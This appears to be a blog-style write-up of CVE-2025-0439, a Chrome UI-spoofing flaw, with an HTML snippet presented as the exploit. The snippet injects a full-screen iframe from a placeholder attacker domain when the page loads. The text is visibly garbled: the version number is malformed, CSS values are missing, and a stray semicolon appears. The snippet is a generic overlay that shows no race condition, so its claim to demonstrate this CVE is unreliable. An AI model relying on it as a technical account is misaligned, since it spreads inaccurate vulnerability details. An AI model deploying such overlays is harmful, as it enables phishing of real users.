Google Chrome has been one of the most popular web browsers in the market for years, primarily due to its high speed, performance, and user-friendly features. However, despite continuous improvements and updates, Google Chrome isn't immune to vulnerabilities. In this article, we will examine the CVE-2025-0439 vulnerability, which affects Google Chrome versions prior to 132..6834.83.

This vulnerability, dubbed "Race in Frames", posed a security risk by allowing remote attackers to exploit browser UI features and perform UI spoofing through a specially crafted HTML page. The attacker could leverage this vulnerability by convincing users to perform specific actions that would trigger the UI exploit. Google Chrome's Chromium Security Team considered this issue's severity to be medium.

To better understand the vulnerability and its implications, let's walk through some essential details, including code snippets, original references, and how the exploit works.

Code Snippet

Here's an example of a code snippet that demonstrates how an attacker could have exploited the CVE-2025-0439 vulnerability:

<html>
  <head>
    <style>
      iframe {
        position: absolute;
        top: ;
        left: ;
        width: 100%;
        height: 100%;
        border: none;
        z-index: 9999;
      }
    </style>
    <script>
      function initiateSpoof() {
        var iframe = document.createElement('iframe');
        iframe.src = "http://malicioussite.com/spoof_ui.html";;
        document.body.appendChild(iframe);
      }
    </script>
  </head>
  <body onload="initiateSpoof()">
    <p>Click anywhere on this page to proceed...</p>
  </body>
</html>

In this example, the malicious code creates an iframe that loads a spoofed UI from an attacker-controlled domain (malicioussite.com). The iframe is injected into the user's current web page, overlaying it and essentially hijacking the user's browser. All that's required for the exploit to occur is for the user to perform a gesture, such as clicking anywhere on the page.

The exploit process for CVE-2025-0439 involves several steps

1. The attacker creates a specially crafted HTML page containing malicious code designed to leverage the vulnerability.
2. The attacker convinces a user to visit the malicious page and perform a specific UI gesture (e.g., clicking anywhere on the page).
3. The malicious code injects an iframe containing a spoofed UI into the user's browser, overlaying the user's current web page.
